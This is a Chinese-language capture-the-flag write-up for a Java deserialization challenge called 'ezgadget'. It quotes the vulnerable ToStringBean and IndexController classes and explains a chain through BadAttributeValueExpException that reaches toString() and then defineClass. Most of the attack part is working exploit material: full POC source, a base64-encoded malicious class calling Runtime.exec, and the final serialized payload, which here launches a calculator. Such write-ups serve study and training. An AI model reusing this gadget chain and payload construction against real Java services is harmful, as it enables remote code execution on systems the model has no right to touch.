复现环境配置:
链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw
提取码:8do5
运行
java -jar ezgadget.jar
访问127.0.0.1:8888就可以了
ToStringBean.java
package com.ezgame.ctf.tools;import java.io.Serializable;public class ToStringBean extends ClassLoader implements Serializable {private byte[] ClassByte;public String toString() {com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);Object Obj = null;try {Obj = clazz.newInstance();} catch (InstantiationException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}return "enjoy it.";}
}
该类继承了 serializeable 接口和 ClassLoader 接口,说明可以字节码动态加载,并且在toString 方法中,看到了 defineClass . 就可以任意代码执行,这里的ClassByte 可控,那我们就可以执行命令字节码文件,构造一个 字节码类:
构造代码:
public class Payload {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");ToStringBean toStringBean = new ToStringBean();//改属性Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");classByte.setAccessible(true);classByte.set(toStringBean,bytes);}
}
接着看控制器 IndexController.java
package com.ezgame.ctf.controller;import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;@Controller
public class IndexController {@ResponseBody@RequestMapping({"/"})public String index(HttpServletRequest request, HttpServletResponse response) {return "index";}@ResponseBody@RequestMapping({"/readobject"})public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {byte[] b = Tools.base64Decode(data);InputStream inputStream = new ByteArrayInputStream(b);ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);String name = objectInputStream.readUTF();int year = objectInputStream.readInt();if (name.equals("gadgets") && year == 2021)objectInputStream.readObject();return "welcome bro.";}
}
看到 /readobject ,传参data 时,他会用到Tools 中的 base64解密,然后字节数组创建输入流,对象输入流,然后接收一个字符串,接收一个数字,再进行 IF 判断
if (name.equals("gadgets") && year == 2021)
之后会调用 objectInputStream.readObject(); 而这里的,在CC5中 BadAttributeValueExpException 类中重写了readObject(), 可以调用任意类的 toString() 方法
类中需要通过构造方法修改val的值, 在 通过gf.get("val",null ) 传给 valobj ,在最后面调用了readObject 里的valobj.toString();
public BadAttributeValueExpException (Object val) {this.val = val == null ? null : val.toString();}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}
}
所以我们要构造 val = toStringBean类 这里 不能实例化BadAttributeValueExpException
时 ,直接就把val给赋值,直接把把值赋给val
否则在readObject()
前就会执行toString,反序列化就无效了
//先构造
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("snowyf");
//再改值
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
之后就是过前面的if 判断。
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
Tools.java
package com.ezgame.ctf.tools;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;public class Tools {public static byte[] base64Decode(String base64) {Base64.Decoder decoder = Base64.getDecoder();return decoder.decode(base64);}public static String base64Encode(byte[] bytes) {Base64.Encoder encoder = Base64.getEncoder();return encoder.encodeToString(bytes);}public static byte[] serialize(Object obj) throws Exception {ByteArrayOutputStream btout = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}public static Object deserialize(byte[] serialized) throws Exception {ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}
}
最后调用的Tools 中的base64 加密即可
byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = base64Encode(bytes1);
System.out.println(s);
POC
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;public class Payload {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {//byte[] bytes= Files.readAllBytes(Paths.get("D:\\java\\CTF\\DongHuaBei\\src\\main\\java\\com\\ezgame\\ctf\\Payload.class"));//修改ToStringBean 中 byte 可以加载我们的恶意字节码ToStringBean toStringBean = new ToStringBean();//改属性Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");classByte.setAccessible(true);classByte.set(toStringBean,bytes);//修改val 调用任意toStringBadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Snowyf");Field val = badAttributeValueExpException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,toStringBean);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeUTF("gadgets");objectOutputStream.writeInt(2021);objectOutputStream.writeObject(badAttributeValueExpException);//加密byte[] bytes1 = byteArrayOutputStream.toByteArray();String s = Tools.base64Encode(bytes1);System.out.println(s);//rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAF3QAB1BheWxvYWR0AAxQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAMVG9TdHJpbmdCZWFu0IEsQu+2UaQCAAFbAAlDbGFzc0J5dGV0AAJbQnhwdXIAAltCrPMX+AYIVOACAAB4cAAAA5nK/rq+AAAANAAhCgAGABMKABQAFQgAFgoAFAAXBwAYBwAZAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWBwAbAQAKU291cmNlRmlsZQEADUV2aWxUZXN0LmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAcQ29tbW9uc0NvbGxlY3Rpb25zMy9FdmlsVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAABMACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAFQAEABYADQAXAAsAAAAEAAEAEAABABEAAAACABI=}
}
成功弹窗
上一篇: 生命抒情散文